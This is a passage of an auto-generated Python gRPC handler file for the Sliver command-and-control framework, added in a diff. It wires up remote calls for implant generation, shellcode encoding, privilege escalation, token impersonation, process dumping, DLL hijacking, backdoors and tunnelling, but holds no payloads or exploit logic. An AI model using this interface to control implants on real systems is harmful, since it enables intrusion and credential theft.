+ servicer.CrackstationRegister,
+ request_deserializer=clientpb_dot_client__pb2.Crackstation.FromString,
+ response_serializer=clientpb_dot_client__pb2.Event.SerializeToString,
+ ),
+ 'CrackstationTrigger': grpc.unary_unary_rpc_method_handler(
+ servicer.CrackstationTrigger,
+ request_deserializer=clientpb_dot_client__pb2.Event.FromString,
+ response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ ),
+ 'CrackstationBenchmark': grpc.unary_unary_rpc_method_handler(
+ servicer.CrackstationBenchmark,
+ request_deserializer=clientpb_dot_client__pb2.CrackBenchmark.FromString,
+ response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ ),
+ 'Crackstations': grpc.unary_unary_rpc_method_handler(
+ servicer.Crackstations,
+ request_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ response_serializer=clientpb_dot_client__pb2.Crackstations.SerializeToString,
+ ),
+ 'CrackTaskByID': grpc.unary_unary_rpc_method_handler(
+ servicer.CrackTaskByID,
+ request_deserializer=clientpb_dot_client__pb2.CrackTask.FromString,
+ response_serializer=clientpb_dot_client__pb2.CrackTask.SerializeToString,
+ ),
+ 'CrackTaskUpdate': grpc.unary_unary_rpc_method_handler(
+ servicer.CrackTaskUpdate,
+ request_deserializer=clientpb_dot_client__pb2.CrackTask.FromString,
+ response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ ),
+ 'CrackFilesList': grpc.unary_unary_rpc_method_handler(
+ servicer.CrackFilesList,
+ request_deserializer=clientpb_dot_client__pb2.CrackFile.FromString,
+ response_serializer=clientpb_dot_client__pb2.CrackFiles.SerializeToString,
+ ),
+ 'CrackFileCreate': grpc.unary_unary_rpc_method_handler(
+ servicer.CrackFileCreate,
+ request_deserializer=clientpb_dot_client__pb2.CrackFile.FromString,
+ response_serializer=clientpb_dot_client__pb2.CrackFile.SerializeToString,
+ ),
+ 'CrackFileChunkUpload': grpc.unary_unary_rpc_method_handler(
+ servicer.CrackFileChunkUpload,
+ request_deserializer=clientpb_dot_client__pb2.CrackFileChunk.FromString,
+ response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ ),
+ 'CrackFileChunkDownload': grpc.unary_unary_rpc_method_handler(
+ servicer.CrackFileChunkDownload,
+ request_deserializer=clientpb_dot_client__pb2.CrackFileChunk.FromString,
+ response_serializer=clientpb_dot_client__pb2.CrackFileChunk.SerializeToString,
+ ),
+ 'CrackFileComplete': grpc.unary_unary_rpc_method_handler(
+ servicer.CrackFileComplete,
+ request_deserializer=clientpb_dot_client__pb2.CrackFile.FromString,
+ response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ ),
+ 'CrackFileDelete': grpc.unary_unary_rpc_method_handler(
+ servicer.CrackFileDelete,
+ request_deserializer=clientpb_dot_client__pb2.CrackFile.FromString,
+ response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ ),
+ 'Regenerate': grpc.unary_unary_rpc_method_handler(
+ servicer.Regenerate,
+ request_deserializer=clientpb_dot_client__pb2.RegenerateReq.FromString,
+ response_serializer=clientpb_dot_client__pb2.Generate.SerializeToString,
+ ),
+ 'ImplantBuilds': grpc.unary_unary_rpc_method_handler(
+ servicer.ImplantBuilds,
+ request_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ response_serializer=clientpb_dot_client__pb2.ImplantBuilds.SerializeToString,
+ ),
+ 'DeleteImplantBuild': grpc.unary_unary_rpc_method_handler(
+ servicer.DeleteImplantBuild,
+ request_deserializer=clientpb_dot_client__pb2.DeleteReq.FromString,
+ response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ ),
+ 'Canaries': grpc.unary_unary_rpc_method_handler(
+ servicer.Canaries,
+ request_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ response_serializer=clientpb_dot_client__pb2.Canaries.SerializeToString,
+ ),
+ 'GenerateWGClientConfig': grpc.unary_unary_rpc_method_handler(
+ servicer.GenerateWGClientConfig,
+ request_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ response_serializer=clientpb_dot_client__pb2.WGClientConfig.SerializeToString,
+ ),
+ 'GenerateUniqueIP': grpc.unary_unary_rpc_method_handler(
+ servicer.GenerateUniqueIP,
+ request_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ response_serializer=clientpb_dot_client__pb2.UniqueWGIP.SerializeToString,
+ ),
+ 'ImplantProfiles': grpc.unary_unary_rpc_method_handler(
+ servicer.ImplantProfiles,
+ request_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ response_serializer=clientpb_dot_client__pb2.ImplantProfiles.SerializeToString,
+ ),
+ 'DeleteImplantProfile': grpc.unary_unary_rpc_method_handler(
+ servicer.DeleteImplantProfile,
+ request_deserializer=clientpb_dot_client__pb2.DeleteReq.FromString,
+ response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ ),
+ 'SaveImplantProfile': grpc.unary_unary_rpc_method_handler(
+ servicer.SaveImplantProfile,
+ request_deserializer=clientpb_dot_client__pb2.ImplantProfile.FromString,
+ response_serializer=clientpb_dot_client__pb2.ImplantProfile.SerializeToString,
+ ),
+ 'MsfStage': grpc.unary_unary_rpc_method_handler(
+ servicer.MsfStage,
+ request_deserializer=clientpb_dot_client__pb2.MsfStagerReq.FromString,
+ response_serializer=clientpb_dot_client__pb2.MsfStager.SerializeToString,
+ ),
+ 'ShellcodeRDI': grpc.unary_unary_rpc_method_handler(
+ servicer.ShellcodeRDI,
+ request_deserializer=clientpb_dot_client__pb2.ShellcodeRDIReq.FromString,
+ response_serializer=clientpb_dot_client__pb2.ShellcodeRDI.SerializeToString,
+ ),
+ 'GetCompiler': grpc.unary_unary_rpc_method_handler(
+ servicer.GetCompiler,
+ request_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ response_serializer=clientpb_dot_client__pb2.Compiler.SerializeToString,
+ ),
+ 'ShellcodeEncoder': grpc.unary_unary_rpc_method_handler(
+ servicer.ShellcodeEncoder,
+ request_deserializer=clientpb_dot_client__pb2.ShellcodeEncodeReq.FromString,
+ response_serializer=clientpb_dot_client__pb2.ShellcodeEncode.SerializeToString,
+ ),
+ 'ShellcodeEncoderMap': grpc.unary_unary_rpc_method_handler(
+ servicer.ShellcodeEncoderMap,
+ request_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ response_serializer=clientpb_dot_client__pb2.ShellcodeEncoderMap.SerializeToString,
+ ),
+ 'TrafficEncoderMap': grpc.unary_unary_rpc_method_handler(
+ servicer.TrafficEncoderMap,
+ request_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ response_serializer=clientpb_dot_client__pb2.TrafficEncoderMap.SerializeToString,
+ ),
+ 'TrafficEncoderAdd': grpc.unary_unary_rpc_method_handler(
+ servicer.TrafficEncoderAdd,
+ request_deserializer=clientpb_dot_client__pb2.TrafficEncoder.FromString,
+ response_serializer=clientpb_dot_client__pb2.TrafficEncoderTests.SerializeToString,
+ ),
+ 'TrafficEncoderRm': grpc.unary_unary_rpc_method_handler(
+ servicer.TrafficEncoderRm,
+ request_deserializer=clientpb_dot_client__pb2.TrafficEncoder.FromString,
+ response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ ),
+ 'Websites': grpc.unary_unary_rpc_method_handler(
+ servicer.Websites,
+ request_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ response_serializer=clientpb_dot_client__pb2.Websites.SerializeToString,
+ ),
+ 'Website': grpc.unary_unary_rpc_method_handler(
+ servicer.Website,
+ request_deserializer=clientpb_dot_client__pb2.Website.FromString,
+ response_serializer=clientpb_dot_client__pb2.Website.SerializeToString,
+ ),
+ 'WebsiteRemove': grpc.unary_unary_rpc_method_handler(
+ servicer.WebsiteRemove,
+ request_deserializer=clientpb_dot_client__pb2.Website.FromString,
+ response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ ),
+ 'WebsiteAddContent': grpc.unary_unary_rpc_method_handler(
+ servicer.WebsiteAddContent,
+ request_deserializer=clientpb_dot_client__pb2.WebsiteAddContent.FromString,
+ response_serializer=clientpb_dot_client__pb2.Website.SerializeToString,
+ ),
+ 'WebsiteUpdateContent': grpc.unary_unary_rpc_method_handler(
+ servicer.WebsiteUpdateContent,
+ request_deserializer=clientpb_dot_client__pb2.WebsiteAddContent.FromString,
+ response_serializer=clientpb_dot_client__pb2.Website.SerializeToString,
+ ),
+ 'WebsiteRemoveContent': grpc.unary_unary_rpc_method_handler(
+ servicer.WebsiteRemoveContent,
+ request_deserializer=clientpb_dot_client__pb2.WebsiteRemoveContent.FromString,
+ response_serializer=clientpb_dot_client__pb2.Website.SerializeToString,
+ ),
+ 'Ping': grpc.unary_unary_rpc_method_handler(
+ servicer.Ping,
+ request_deserializer=sliverpb_dot_sliver__pb2.Ping.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.Ping.SerializeToString,
+ ),
+ 'Ps': grpc.unary_unary_rpc_method_handler(
+ servicer.Ps,
+ request_deserializer=sliverpb_dot_sliver__pb2.PsReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.Ps.SerializeToString,
+ ),
+ 'Terminate': grpc.unary_unary_rpc_method_handler(
+ servicer.Terminate,
+ request_deserializer=sliverpb_dot_sliver__pb2.TerminateReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.Terminate.SerializeToString,
+ ),
+ 'Ifconfig': grpc.unary_unary_rpc_method_handler(
+ servicer.Ifconfig,
+ request_deserializer=sliverpb_dot_sliver__pb2.IfconfigReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.Ifconfig.SerializeToString,
+ ),
+ 'Netstat': grpc.unary_unary_rpc_method_handler(
+ servicer.Netstat,
+ request_deserializer=sliverpb_dot_sliver__pb2.NetstatReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.Netstat.SerializeToString,
+ ),
+ 'Ls': grpc.unary_unary_rpc_method_handler(
+ servicer.Ls,
+ request_deserializer=sliverpb_dot_sliver__pb2.LsReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.Ls.SerializeToString,
+ ),
+ 'Cd': grpc.unary_unary_rpc_method_handler(
+ servicer.Cd,
+ request_deserializer=sliverpb_dot_sliver__pb2.CdReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.Pwd.SerializeToString,
+ ),
+ 'Pwd': grpc.unary_unary_rpc_method_handler(
+ servicer.Pwd,
+ request_deserializer=sliverpb_dot_sliver__pb2.PwdReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.Pwd.SerializeToString,
+ ),
+ 'Mv': grpc.unary_unary_rpc_method_handler(
+ servicer.Mv,
+ request_deserializer=sliverpb_dot_sliver__pb2.MvReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.Mv.SerializeToString,
+ ),
+ 'Rm': grpc.unary_unary_rpc_method_handler(
+ servicer.Rm,
+ request_deserializer=sliverpb_dot_sliver__pb2.RmReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.Rm.SerializeToString,
+ ),
+ 'Mkdir': grpc.unary_unary_rpc_method_handler(
+ servicer.Mkdir,
+ request_deserializer=sliverpb_dot_sliver__pb2.MkdirReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.Mkdir.SerializeToString,
+ ),
+ 'Download': grpc.unary_unary_rpc_method_handler(
+ servicer.Download,
+ request_deserializer=sliverpb_dot_sliver__pb2.DownloadReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.Download.SerializeToString,
+ ),
+ 'Upload': grpc.unary_unary_rpc_method_handler(
+ servicer.Upload,
+ request_deserializer=sliverpb_dot_sliver__pb2.UploadReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.Upload.SerializeToString,
+ ),
+ 'Chmod': grpc.unary_unary_rpc_method_handler(
+ servicer.Chmod,
+ request_deserializer=sliverpb_dot_sliver__pb2.ChmodReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.Chmod.SerializeToString,
+ ),
+ 'Chown': grpc.unary_unary_rpc_method_handler(
+ servicer.Chown,
+ request_deserializer=sliverpb_dot_sliver__pb2.ChownReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.Chown.SerializeToString,
+ ),
+ 'Chtimes': grpc.unary_unary_rpc_method_handler(
+ servicer.Chtimes,
+ request_deserializer=sliverpb_dot_sliver__pb2.ChtimesReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.Chtimes.SerializeToString,
+ ),
+ 'MemfilesList': grpc.unary_unary_rpc_method_handler(
+ servicer.MemfilesList,
+ request_deserializer=sliverpb_dot_sliver__pb2.MemfilesListReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.Ls.SerializeToString,
+ ),
+ 'MemfilesAdd': grpc.unary_unary_rpc_method_handler(
+ servicer.MemfilesAdd,
+ request_deserializer=sliverpb_dot_sliver__pb2.MemfilesAddReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.MemfilesAdd.SerializeToString,
+ ),
+ 'MemfilesRm': grpc.unary_unary_rpc_method_handler(
+ servicer.MemfilesRm,
+ request_deserializer=sliverpb_dot_sliver__pb2.MemfilesRmReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.MemfilesRm.SerializeToString,
+ ),
+ 'ProcessDump': grpc.unary_unary_rpc_method_handler(
+ servicer.ProcessDump,
+ request_deserializer=sliverpb_dot_sliver__pb2.ProcessDumpReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.ProcessDump.SerializeToString,
+ ),
+ 'RunAs': grpc.unary_unary_rpc_method_handler(
+ servicer.RunAs,
+ request_deserializer=sliverpb_dot_sliver__pb2.RunAsReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.RunAs.SerializeToString,
+ ),
+ 'Impersonate': grpc.unary_unary_rpc_method_handler(
+ servicer.Impersonate,
+ request_deserializer=sliverpb_dot_sliver__pb2.ImpersonateReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.Impersonate.SerializeToString,
+ ),
+ 'RevToSelf': grpc.unary_unary_rpc_method_handler(
+ servicer.RevToSelf,
+ request_deserializer=sliverpb_dot_sliver__pb2.RevToSelfReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.RevToSelf.SerializeToString,
+ ),
+ 'GetSystem': grpc.unary_unary_rpc_method_handler(
+ servicer.GetSystem,
+ request_deserializer=clientpb_dot_client__pb2.GetSystemReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.GetSystem.SerializeToString,
+ ),
+ 'Task': grpc.unary_unary_rpc_method_handler(
+ servicer.Task,
+ request_deserializer=sliverpb_dot_sliver__pb2.TaskReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.Task.SerializeToString,
+ ),
+ 'Msf': grpc.unary_unary_rpc_method_handler(
+ servicer.Msf,
+ request_deserializer=clientpb_dot_client__pb2.MSFReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.Task.SerializeToString,
+ ),
+ 'MsfRemote': grpc.unary_unary_rpc_method_handler(
+ servicer.MsfRemote,
+ request_deserializer=clientpb_dot_client__pb2.MSFRemoteReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.Task.SerializeToString,
+ ),
+ 'ExecuteAssembly': grpc.unary_unary_rpc_method_handler(
+ servicer.ExecuteAssembly,
+ request_deserializer=sliverpb_dot_sliver__pb2.ExecuteAssemblyReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.ExecuteAssembly.SerializeToString,
+ ),
+ 'Migrate': grpc.unary_unary_rpc_method_handler(
+ servicer.Migrate,
+ request_deserializer=clientpb_dot_client__pb2.MigrateReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.Migrate.SerializeToString,
+ ),
+ 'Execute': grpc.unary_unary_rpc_method_handler(
+ servicer.Execute,
+ request_deserializer=sliverpb_dot_sliver__pb2.ExecuteReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.Execute.SerializeToString,
+ ),
+ 'ExecuteWindows': grpc.unary_unary_rpc_method_handler(
+ servicer.ExecuteWindows,
+ request_deserializer=sliverpb_dot_sliver__pb2.ExecuteWindowsReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.Execute.SerializeToString,
+ ),
+ 'Sideload': grpc.unary_unary_rpc_method_handler(
+ servicer.Sideload,
+ request_deserializer=sliverpb_dot_sliver__pb2.SideloadReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.Sideload.SerializeToString,
+ ),
+ 'SpawnDll': grpc.unary_unary_rpc_method_handler(
+ servicer.SpawnDll,
+ request_deserializer=sliverpb_dot_sliver__pb2.InvokeSpawnDllReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.SpawnDll.SerializeToString,
+ ),
+ 'Screenshot': grpc.unary_unary_rpc_method_handler(
+ servicer.Screenshot,
+ request_deserializer=sliverpb_dot_sliver__pb2.ScreenshotReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.Screenshot.SerializeToString,
+ ),
+ 'CurrentTokenOwner': grpc.unary_unary_rpc_method_handler(
+ servicer.CurrentTokenOwner,
+ request_deserializer=sliverpb_dot_sliver__pb2.CurrentTokenOwnerReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.CurrentTokenOwner.SerializeToString,
+ ),
+ 'PivotStartListener': grpc.unary_unary_rpc_method_handler(
+ servicer.PivotStartListener,
+ request_deserializer=sliverpb_dot_sliver__pb2.PivotStartListenerReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.PivotListener.SerializeToString,
+ ),
+ 'PivotStopListener': grpc.unary_unary_rpc_method_handler(
+ servicer.PivotStopListener,
+ request_deserializer=sliverpb_dot_sliver__pb2.PivotStopListenerReq.FromString,
+ response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ ),
+ 'PivotSessionListeners': grpc.unary_unary_rpc_method_handler(
+ servicer.PivotSessionListeners,
+ request_deserializer=sliverpb_dot_sliver__pb2.PivotListenersReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.PivotListeners.SerializeToString,
+ ),
+ 'PivotGraph': grpc.unary_unary_rpc_method_handler(
+ servicer.PivotGraph,
+ request_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ response_serializer=clientpb_dot_client__pb2.PivotGraph.SerializeToString,
+ ),
+ 'StartService': grpc.unary_unary_rpc_method_handler(
+ servicer.StartService,
+ request_deserializer=sliverpb_dot_sliver__pb2.StartServiceReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.ServiceInfo.SerializeToString,
+ ),
+ 'StopService': grpc.unary_unary_rpc_method_handler(
+ servicer.StopService,
+ request_deserializer=sliverpb_dot_sliver__pb2.StopServiceReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.ServiceInfo.SerializeToString,
+ ),
+ 'RemoveService': grpc.unary_unary_rpc_method_handler(
+ servicer.RemoveService,
+ request_deserializer=sliverpb_dot_sliver__pb2.RemoveServiceReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.ServiceInfo.SerializeToString,
+ ),
+ 'MakeToken': grpc.unary_unary_rpc_method_handler(
+ servicer.MakeToken,
+ request_deserializer=sliverpb_dot_sliver__pb2.MakeTokenReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.MakeToken.SerializeToString,
+ ),
+ 'GetEnv': grpc.unary_unary_rpc_method_handler(
+ servicer.GetEnv,
+ request_deserializer=sliverpb_dot_sliver__pb2.EnvReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.EnvInfo.SerializeToString,
+ ),
+ 'SetEnv': grpc.unary_unary_rpc_method_handler(
+ servicer.SetEnv,
+ request_deserializer=sliverpb_dot_sliver__pb2.SetEnvReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.SetEnv.SerializeToString,
+ ),
+ 'UnsetEnv': grpc.unary_unary_rpc_method_handler(
+ servicer.UnsetEnv,
+ request_deserializer=sliverpb_dot_sliver__pb2.UnsetEnvReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.UnsetEnv.SerializeToString,
+ ),
+ 'Backdoor': grpc.unary_unary_rpc_method_handler(
+ servicer.Backdoor,
+ request_deserializer=clientpb_dot_client__pb2.BackdoorReq.FromString,
+ response_serializer=clientpb_dot_client__pb2.Backdoor.SerializeToString,
+ ),
+ 'RegistryRead': grpc.unary_unary_rpc_method_handler(
+ servicer.RegistryRead,
+ request_deserializer=sliverpb_dot_sliver__pb2.RegistryReadReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.RegistryRead.SerializeToString,
+ ),
+ 'RegistryWrite': grpc.unary_unary_rpc_method_handler(
+ servicer.RegistryWrite,
+ request_deserializer=sliverpb_dot_sliver__pb2.RegistryWriteReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.RegistryWrite.SerializeToString,
+ ),
+ 'RegistryCreateKey': grpc.unary_unary_rpc_method_handler(
+ servicer.RegistryCreateKey,
+ request_deserializer=sliverpb_dot_sliver__pb2.RegistryCreateKeyReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.RegistryCreateKey.SerializeToString,
+ ),
+ 'RegistryDeleteKey': grpc.unary_unary_rpc_method_handler(
+ servicer.RegistryDeleteKey,
+ request_deserializer=sliverpb_dot_sliver__pb2.RegistryDeleteKeyReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.RegistryDeleteKey.SerializeToString,
+ ),
+ 'RegistryListSubKeys': grpc.unary_unary_rpc_method_handler(
+ servicer.RegistryListSubKeys,
+ request_deserializer=sliverpb_dot_sliver__pb2.RegistrySubKeyListReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.RegistrySubKeyList.SerializeToString,
+ ),
+ 'RegistryListValues': grpc.unary_unary_rpc_method_handler(
+ servicer.RegistryListValues,
+ request_deserializer=sliverpb_dot_sliver__pb2.RegistryListValuesReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.RegistryValuesList.SerializeToString,
+ ),
+ 'RunSSHCommand': grpc.unary_unary_rpc_method_handler(
+ servicer.RunSSHCommand,
+ request_deserializer=sliverpb_dot_sliver__pb2.SSHCommandReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.SSHCommand.SerializeToString,
+ ),
+ 'HijackDLL': grpc.unary_unary_rpc_method_handler(
+ servicer.HijackDLL,
+ request_deserializer=clientpb_dot_client__pb2.DllHijackReq.FromString,
+ response_serializer=clientpb_dot_client__pb2.DllHijack.SerializeToString,
+ ),
+ 'GetPrivs': grpc.unary_unary_rpc_method_handler(
+ servicer.GetPrivs,
+ request_deserializer=sliverpb_dot_sliver__pb2.GetPrivsReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.GetPrivs.SerializeToString,
+ ),
+ 'StartRportFwdListener': grpc.unary_unary_rpc_method_handler(
+ servicer.StartRportFwdListener,
+ request_deserializer=sliverpb_dot_sliver__pb2.RportFwdStartListenerReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.RportFwdListener.SerializeToString,
+ ),
+ 'GetRportFwdListeners': grpc.unary_unary_rpc_method_handler(
+ servicer.GetRportFwdListeners,
+ request_deserializer=sliverpb_dot_sliver__pb2.RportFwdListenersReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.RportFwdListeners.SerializeToString,
+ ),
+ 'StopRportFwdListener': grpc.unary_unary_rpc_method_handler(
+ servicer.StopRportFwdListener,
+ request_deserializer=sliverpb_dot_sliver__pb2.RportFwdStopListenerReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.RportFwdListener.SerializeToString,
+ ),
+ 'OpenSession': grpc.unary_unary_rpc_method_handler(
+ servicer.OpenSession,
+ request_deserializer=sliverpb_dot_sliver__pb2.OpenSession.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.OpenSession.SerializeToString,
+ ),
+ 'CloseSession': grpc.unary_unary_rpc_method_handler(
+ servicer.CloseSession,
+ request_deserializer=sliverpb_dot_sliver__pb2.CloseSession.FromString,
+ response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ ),
+ 'RegisterExtension': grpc.unary_unary_rpc_method_handler(
+ servicer.RegisterExtension,
+ request_deserializer=sliverpb_dot_sliver__pb2.RegisterExtensionReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.RegisterExtension.SerializeToString,
+ ),
+ 'CallExtension': grpc.unary_unary_rpc_method_handler(
+ servicer.CallExtension,
+ request_deserializer=sliverpb_dot_sliver__pb2.CallExtensionReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.CallExtension.SerializeToString,
+ ),
+ 'ListExtensions': grpc.unary_unary_rpc_method_handler(
+ servicer.ListExtensions,
+ request_deserializer=sliverpb_dot_sliver__pb2.ListExtensionsReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.ListExtensions.SerializeToString,
+ ),
+ 'RegisterWasmExtension': grpc.unary_unary_rpc_method_handler(
+ servicer.RegisterWasmExtension,
+ request_deserializer=sliverpb_dot_sliver__pb2.RegisterWasmExtensionReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.RegisterWasmExtension.SerializeToString,
+ ),
+ 'ListWasmExtensions': grpc.unary_unary_rpc_method_handler(
+ servicer.ListWasmExtensions,
+ request_deserializer=sliverpb_dot_sliver__pb2.ListWasmExtensionsReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.ListWasmExtensions.SerializeToString,
+ ),
+ 'ExecWasmExtension': grpc.unary_unary_rpc_method_handler(
+ servicer.ExecWasmExtension,
+ request_deserializer=sliverpb_dot_sliver__pb2.ExecWasmExtensionReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.ExecWasmExtension.SerializeToString,
+ ),
+ 'WGStartPortForward': grpc.unary_unary_rpc_method_handler(
+ servicer.WGStartPortForward,
+ request_deserializer=sliverpb_dot_sliver__pb2.WGPortForwardStartReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.WGPortForward.SerializeToString,
+ ),
+ 'WGStopPortForward': grpc.unary_unary_rpc_method_handler(
+ servicer.WGStopPortForward,
+ request_deserializer=sliverpb_dot_sliver__pb2.WGPortForwardStopReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.WGPortForward.SerializeToString,
+ ),
+ 'WGStartSocks': grpc.unary_unary_rpc_method_handler(
+ servicer.WGStartSocks,
+ request_deserializer=sliverpb_dot_sliver__pb2.WGSocksStartReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.WGSocks.SerializeToString,
+ ),
+ 'WGStopSocks': grpc.unary_unary_rpc_method_handler(
+ servicer.WGStopSocks,
+ request_deserializer=sliverpb_dot_sliver__pb2.WGSocksStopReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.WGSocks.SerializeToString,
+ ),
+ 'WGListForwarders': grpc.unary_unary_rpc_method_handler(
+ servicer.WGListForwarders,
+ request_deserializer=sliverpb_dot_sliver__pb2.WGTCPForwardersReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.WGTCPForwarders.SerializeToString,
+ ),
+ 'WGListSocksServers': grpc.unary_unary_rpc_method_handler(
+ servicer.WGListSocksServers,
+ request_deserializer=sliverpb_dot_sliver__pb2.WGSocksServersReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.WGSocksServers.SerializeToString,
+ ),
+ 'Shell': grpc.unary_unary_rpc_method_handler(
+ servicer.Shell,
+ request_deserializer=sliverpb_dot_sliver__pb2.ShellReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.Shell.SerializeToString,
+ ),
+ 'Portfwd': grpc.unary_unary_rpc_method_handler(
+ servicer.Portfwd,
+ request_deserializer=sliverpb_dot_sliver__pb2.PortfwdReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.Portfwd.SerializeToString,
+ ),
+ 'CreateSocks': grpc.unary_unary_rpc_method_handler(
+ servicer.CreateSocks,
+ request_deserializer=sliverpb_dot_sliver__pb2.Socks.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.Socks.SerializeToString,
+ ),
+ 'CloseSocks': grpc.unary_unary_rpc_method_handler(
+ servicer.CloseSocks,
+ request_deserializer=sliverpb_dot_sliver__pb2.Socks.FromString,
+ response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ ),
+ 'SocksProxy': grpc.stream_stream_rpc_method_handler(
+ servicer.SocksProxy,
+ request_deserializer=sliverpb_dot_sliver__pb2.SocksData.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.SocksData.SerializeToString,
+ ),
+ 'CreateTunnel': grpc.unary_unary_rpc_method_handler(
+ servicer.CreateTunnel,
+ request_deserializer=sliverpb_dot_sliver__pb2.Tunnel.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.Tunnel.SerializeToString,
+ ),
+ 'CloseTunnel': grpc.unary_unary_rpc_method_handler(
+ servicer.CloseTunnel,
+ request_deserializer=sliverpb_dot_sliver__pb2.Tunnel.FromString,
+ response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ ),
+ 'TunnelData': grpc.stream_stream_rpc_method_handler(
+ servicer.TunnelData,
+ request_deserializer=sliverpb_dot_sliver__pb2.TunnelData.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.TunnelData.SerializeToString,
+ ),
+ 'Events': grpc.unary_stream_rpc_method_handler(
+ servicer.Events,
+ request_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ response_serializer=clientpb_dot_client__pb2.Event.SerializeToString,
+ ),
+ }
+ generic_handler = grpc.method_handlers_generic_handler(
+ 'rpcpb.SliverRPC', rpc_method_handlers)
+ server.add_generic_rpc_handlers((generic_handler,))
+
+
+ # This class is part of an EXPERIMENTAL API.
+class SliverRPC(object):
+ """Missing associated documentation comment in .proto file."""
+
